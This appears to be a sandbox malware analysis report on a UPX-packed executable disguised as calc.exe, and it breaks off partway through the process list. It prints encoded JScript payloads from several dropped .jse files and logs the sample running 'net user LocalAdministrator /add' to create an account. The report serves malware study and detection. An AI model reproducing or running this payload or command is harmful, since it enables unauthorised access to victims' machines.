Cookbook file name:default.jbs
Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:53
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • HCA enabled
  • EGA enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Sample name:calc.exe
Detection:MAL
Classification:mal60.winEXE@93/7@0/0
EGA Information:
  • Successful, ratio: 100%
HCA Information:
  • Successful, ratio: 98%
  • Number of executed functions: 79
  • Number of non-executed functions: 310
Cookbook Comments:
  • Found application associated with file extension: .exe
  • Stop behavior analysis, all processes terminated

Warnings

  • Exclude process from analysis (whitelisted): dllhost.exe
  • Excluded IPs from analysis (whitelisted): 52.165.165.26
  • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
  • Not all processes where analyzed, report is missing behavior information
  • Report size exceeded maximum capacity and may have missing behavior information.
  • Report size exceeded maximum capacity and may have missing disassembly code.
  • Report size getting too big, too many NtOpenKeyEx calls found.
  • Report size getting too big, too many NtProtectVirtualMemory calls found.
  • Report size getting too big, too many NtQueryValueKey calls found.
  • VT rate limit hit for: calc.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\Desktop\10a1DJwqnr.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

C:\Users\user\Desktop\Kiql0emrm5.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

C:\Users\user\Desktop\KobIITTimt.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

C:\Users\user\Desktop\aw1HUl4bYu.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

C:\Users\user\Desktop\dLMJwKQlPv.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

C:\Users\user\Desktop\gszpj8rp81.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

C:\Users\user\Desktop\mdWettqHRh.jse

Download File
Process:C:\Users\user\Desktop\calc.exe
File Type:data
Category:dropped
Size (bytes):905
Entropy (8bit):6.202615493257142
Encrypted:false
SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
MD5:B4EB7F28555DDA63F591A950F2DB89D1
SHA1:92BA2174422096A09CE506C041165564360ACCC3
SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
Malicious:false
Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

Static File Info

General

File type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):7.898423357288493
TrID:
  • Win32 Executable (generic) a (10002005/4) 99.39%
  • UPX compressed Win32 Executable (30571/9) 0.30%
  • Win32 EXE Yoda's Crypter (26571/9) 0.26%
  • Generic Win/DOS Executable (2004/3) 0.02%
  • DOS Executable Generic (2002/1) 0.02%
File name:calc.exe
File size:206'377 bytes
MD5:2f9fdad776d8626f2ce8625211831e91
SHA1:21d8413eb0d60b36fc249f8025c277b557fefde3
SHA256:9b66a8ea0f1c64965b06e7a45afbe56f2d4e6d5ef65f32446defccbebe730813
SHA512:2abd61c6bea7c748f81cdd18133582217bd06dd19506f13f89953f8c7bd662fc5233540b9f56c57aa94e038c674128fc46dd280e2f7db642343fc5a45da25feb
SSDEEP:6144:96LkVO8A1X2og0tEHH45Y0KTIVaTycTVDNe4oI:TMJ1X2og0MHGKT3RRwG
TLSH:EE141225F3ED187CD45C8E3B071E9874D20EA6F2C2820A7E6E549ADBEC557101C7AB1D
File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H+..)E..)E..)E..!,..)E.\>%..)E.\>J..)E.\>..|)E.Q!...)E...Y..)E..!...)E...(..)E.(.\..)E.Q!...)E..)D..(E.\>!..)E.>"...)E.\>...)E

File Icon

Icon Hash:e4d4f0d4d4d4d460

Static PE Info

General

Entrypoint:0x488080
Entrypoint Section:UPX1
Digitally signed:false
Imagebase:0x400000
Subsystem:windows gui
Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:TERMINAL_SERVER_AWARE
Time Stamp:0x4656F23B [Fri May 25 14:27:07 2007 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:4
OS Version Minor:0
File Version Major:4
File Version Minor:0
Subsystem Version Major:4
Subsystem Version Minor:0
Import Hash:fd50eeaa7137498c4740b429b41a482e

Entrypoint Preview

Instruction
pushad
mov esi, 00458000h
lea edi, dword ptr [esi-00057000h]
push edi
jmp 00007F300067577Dh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F300067575Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F300067577Dh
jne 00007F300067579Ah
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F3000675791h
dec eax
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F3000675746h
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F30006757C4h
xor ecx, ecx
sub eax, 03h
jc 00007F3000675783h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F30006757E7h
sar eax, 1
mov ebp, eax
jmp 00007F300067577Dh
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F300067573Eh
inc ecx
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F3000675730h
add ebx, ebx
jne 00007F3000675779h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F3000675761h
jne 00007F300067577Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F3000675756h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F3000675780h
mov al, byte ptr [edx]

Rich Headers

Programming Language:
  • [C++] VS2003 (.NET) SP1 build 6030
  • [ASM] VS2003 (.NET) SP1 build 6030
  • [ C ] VS2003 (.NET) SP1 build 6030
  • [ C ] VS2005 build 50727
  • [RES] VS2003 (.NET) build 3077
  • [LNK] VS2003 (.NET) SP1 build 6030

Data Directories

NameVirtual AddressVirtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
IMAGE_DIRECTORY_ENTRY_IMPORT0x89e8c0x310.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE0x890000xe8c.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
IMAGE_DIRECTORY_ENTRY_TLS0x00x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
IMAGE_DIRECTORY_ENTRY_IAT0x00x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

Sections

NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
UPX00x10000x570000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX10x580000x310000x304003820b49f074de0d36c50a7babb2200edFalse0.9900420984455959data7.923658427357822IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc0x890000x20000x1200d8312ec9afba4f967d7c2e34b8b3e76fFalse0.3682725694444444data4.437280170665141IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

NameRVASizeTypeLanguageCountryZLIB Complexity
RT_ICON0x893bc0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishGreat Britain0.13172043010752688
RT_ICON0x896a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
RT_ICON0x897d40x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
RT_MENU0x828f00x50dataEnglishGreat Britain1.1375
RT_DIALOG0x829400xfcdataEnglishGreat Britain1.0436507936507937
RT_STRING0x82a400x598dataEnglishGreat Britain1.0076815642458101
RT_STRING0x82fd80x690dataEnglishGreat Britain1.006547619047619
RT_STRING0x836680x4ceOpenPGP Public Key Version 4, Created Fri Jun 29 18:33:11 2035, Unknown Algorithm (0xf3); Public SubkeyEnglishGreat Britain1.0089430894308944
RT_STRING0x83b380x5fadataEnglishGreat Britain1.00718954248366
RT_STRING0x841380x572dataEnglishGreat Britain1.0078909612625537
RT_STRING0x846b00x428dataEnglishGreat Britain1.0103383458646618
RT_GROUP_ICON0x899000x14dataEnglishGreat Britain1.15
RT_GROUP_ICON0x899180x14dataEnglishGreat Britain1.15
RT_GROUP_ICON0x899300x14dataEnglishGreat Britain1.25
RT_VERSION0x899480x19cdataEnglishGreat Britain0.5533980582524272
RT_MANIFEST0x89ae80x3a3XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishGreat Britain0.4790547798066595

Imports

DLLImport
KERNEL32.DLLLoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.dllRegCloseKey
COMCTL32.dllImageList_Remove
comdlg32.dllGetSaveFileNameW
GDI32.dllLineTo
MPR.dllWNetUseConnectionW
ole32.dllCoInitialize
OLEAUT32.dllGetActiveObject
SHELL32.dllDragFinish
USER32.dllGetDC
VERSION.dllVerQueryValueW
WINMM.dlltimeGetTime
WSOCK32.dlllisten

Possible Origin

Language of compilation systemCountry where language is spokenMap
EnglishGreat Britain

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

General

Target ID:0
Start time:15:45:29
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:low
Has exited:true

General

Target ID:2
Start time:15:45:29
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" gszpj8rp81.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:3
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:4
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:5
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
